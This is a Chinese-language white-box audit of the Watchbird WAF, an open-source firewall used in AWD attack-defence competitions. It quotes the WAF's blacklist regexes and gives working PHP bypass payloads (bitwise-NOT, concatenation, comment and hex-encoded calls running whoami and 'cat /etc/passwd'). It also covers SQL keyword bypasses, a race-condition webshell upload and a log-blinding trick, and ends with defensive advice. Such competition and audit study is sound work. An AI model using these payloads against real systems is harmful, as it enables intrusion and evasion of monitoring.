对AWD流行开源WAF(1) -- Watchbird的白盒审计
字数 1399 2025-08-18 17:33:23

Watchbird WAF 白盒审计与绕过技术详解

1. Watchbird WAF 简介

Watchbird 是一款针对 AWD (Attack With Defense) 比赛设计的开源 WAF (Web Application Firewall),项目地址:https://github.com/leohearts/awd-watchbird

主要功能特点:

  • 实时流量监控与拦截
  • 攻击日志记录功能
  • 基于黑白名单的规则过滤
  • 内置常见攻击模式检测

2. WAF 后台日志分析

Watchbird 后台日志分为两部分:

  1. 绿色区域:记录不受拦截的流量日志(正常流量或绕过 WAF 的流量)
  2. 红色区域:记录拦截到的攻击流量

3. RCE 黑名单绕过技术

3.1 Watchbird 的 RCE 黑名单规则

public $rce_blacklist = "/\`|var_dump|str_rot13|serialize|base64_encode|base64_decode|strrev|eval\(|assert|file_put_contents|fwrite|curl_exec\(|dl\(|readlink|popepassthru|preg_replace|preg_filter|mb_ereg_replace|register_shutdown_function|register_tick_function|create_function|array_map|array_reduce|uasort|uksort|array_udiff|array_walk|call_user_func|array_filter|usort|stream_socket_server|pcntl_exec|passthru|exec(|system(|chroot\(|scandir\(|chgrp\(|chown|shell_exec|proc_open|proc_get_status|popen\(|ini_alter|ini_restore|ini_set|LD_PRELOAD|ini_alter|ini_restore|ini_set|base64 -d/i";

3.2 绕过技术

方法1:取反绕过

原理:利用 PHP 的位运算取反特性(~)构造函数名

Payload:

?file=(~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96);

解释

  • ~%8C%86%8C%8B%9A%92 解码后为 system
  • ~%88%97%90%9E%92%96 解码后为 whoami
  • 组合起来相当于执行 system('whoami');

方法2:字符串拼接绕过

原理:将函数名拆分为多个部分进行拼接

Payload:

?file=(sy.(st).em)(whoami);

方法3:内联注释绕过

原理:在函数名中插入注释分隔符

Payload:

?file=(sy./*caixukun*/(st)/*caixukun*/.em)/*caixukun*/(wh./*caixukun*/(oa)/*caixukun*/.mi);

方法4:十六进制编码绕过

原理:使用十六进制编码表示函数名

Payload:

?file="\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");

编码转换脚本:

def string_to_hex_str(s):
    # 编码为字节,然后格式化每个字节为十六进制字符串,并连接它们
    return ''.join('\\x{:02x}'.format(b) for b in s.encode('utf-8'))

s = "system"
hex_encoded_str = string_to_hex_str(s)
print(hex_encoded_str)  # 输出: \x73\x79\x73\x74\x65\x6d

4. SQL 注入黑名单绕过

4.1 Watchbird 的 SQL 黑名单规则

public $sql_blacklist = "/drop |dumpfile\b|INTO FILE|union select|outfile\b|load_file\b|multipoint\(/i";

4.2 绕过方法

  • 空格绕过:在 union select 中间插入多个空格
  • 大小写混合:使用 UnIoN SeLeCt
  • 注释分隔:使用 union/**/select

5. 文件上传绕过理论

5.1 Watchbird 文件上传检测机制

  • 使用白名单检测
  • 先上传文件,再检测,检测到有问题再删除

5.2 潜在绕过方法:条件竞争

  1. 上传一个能生成新木马的 PHP 文件
  2. 同时不断访问该文件
  3. 在检测删除前成功创建新 shell

限制因素

  • AWD 比赛时间短,条件竞争产出慢
  • WAF 自带 DDoS 防御功能,爆破时 70% 以上数据包会被拦截

6. 绕过流量日志监测

6.1 日志机制特点

  • 单个日志最大 40,000 个字符
  • 超出最大值时会删除全部日志

6.2 绕过方法

  • 发送超大 payload 数据包(>40,000 字符)
  • 填入大量脏数据使日志超出限制
  • 效果:后台不会显示这条日志记录(但 WAF 仍会拦截关键词)

7. 总结与防御建议

7.1 Watchbird WAF 的弱点

  1. 基于黑白名单的过滤机制存在固有缺陷
  2. 项目年久失修(虽然仅 1-2 年)
  3. 缺乏语义分析和 AI 识别能力

7.2 防御建议

  1. 更新 WAF 规则,补充遗漏的危险函数(如 putenv()
  2. 实现更严格的语法分析而非简单字符串匹配
  3. 考虑使用现代 WAF 解决方案(如基于 AI/ML 的 WAF)
  4. 对上传文件采用更安全的处理流程(如先检测后上传)

7.3 比赛中的应用

在 AWD 比赛中遇到 Watchbird WAF 时,可以尝试:

  1. 各种 RCE 绕过技术
  2. SQL 注入的简单绕过
  3. 条件竞争文件上传(时间允许时)
  4. 大流量日志致盲技术
Watchbird WAF 白盒审计与绕过技术详解 1. Watchbird WAF 简介 Watchbird 是一款针对 AWD (Attack With Defense) 比赛设计的开源 WAF (Web Application Firewall),项目地址:https://github.com/leohearts/awd-watchbird 主要功能特点: 实时流量监控与拦截 攻击日志记录功能 基于黑白名单的规则过滤 内置常见攻击模式检测 2. WAF 后台日志分析 Watchbird 后台日志分为两部分: 绿色区域 :记录不受拦截的流量日志(正常流量或绕过 WAF 的流量) 红色区域 :记录拦截到的攻击流量 3. RCE 黑名单绕过技术 3.1 Watchbird 的 RCE 黑名单规则 3.2 绕过技术 方法1:取反绕过 原理 :利用 PHP 的位运算取反特性(~)构造函数名 Payload : 解释 : ~%8C%86%8C%8B%9A%92 解码后为 system ~%88%97%90%9E%92%96 解码后为 whoami 组合起来相当于执行 system('whoami'); 方法2:字符串拼接绕过 原理 :将函数名拆分为多个部分进行拼接 Payload : 方法3:内联注释绕过 原理 :在函数名中插入注释分隔符 Payload : 方法4:十六进制编码绕过 原理 :使用十六进制编码表示函数名 Payload : 编码转换脚本 : 4. SQL 注入黑名单绕过 4.1 Watchbird 的 SQL 黑名单规则 4.2 绕过方法 空格绕过 :在 union select 中间插入多个空格 大小写混合 :使用 UnIoN SeLeCt 注释分隔 :使用 union/**/select 5. 文件上传绕过理论 5.1 Watchbird 文件上传检测机制 使用白名单检测 先上传文件,再检测,检测到有问题再删除 5.2 潜在绕过方法:条件竞争 上传一个能生成新木马的 PHP 文件 同时不断访问该文件 在检测删除前成功创建新 shell 限制因素 : AWD 比赛时间短,条件竞争产出慢 WAF 自带 DDoS 防御功能,爆破时 70% 以上数据包会被拦截 6. 绕过流量日志监测 6.1 日志机制特点 单个日志最大 40,000 个字符 超出最大值时会删除全部日志 6.2 绕过方法 发送超大 payload 数据包(>40,000 字符) 填入大量脏数据使日志超出限制 效果:后台不会显示这条日志记录(但 WAF 仍会拦截关键词) 7. 总结与防御建议 7.1 Watchbird WAF 的弱点 基于黑白名单的过滤机制存在固有缺陷 项目年久失修(虽然仅 1-2 年) 缺乏语义分析和 AI 识别能力 7.2 防御建议 更新 WAF 规则,补充遗漏的危险函数(如 putenv() ) 实现更严格的语法分析而非简单字符串匹配 考虑使用现代 WAF 解决方案(如基于 AI/ML 的 WAF) 对上传文件采用更安全的处理流程(如先检测后上传) 7.3 比赛中的应用 在 AWD 比赛中遇到 Watchbird WAF 时,可以尝试: 各种 RCE 绕过技术 SQL 注入的简单绕过 条件竞争文件上传(时间允许时) 大流量日志致盲技术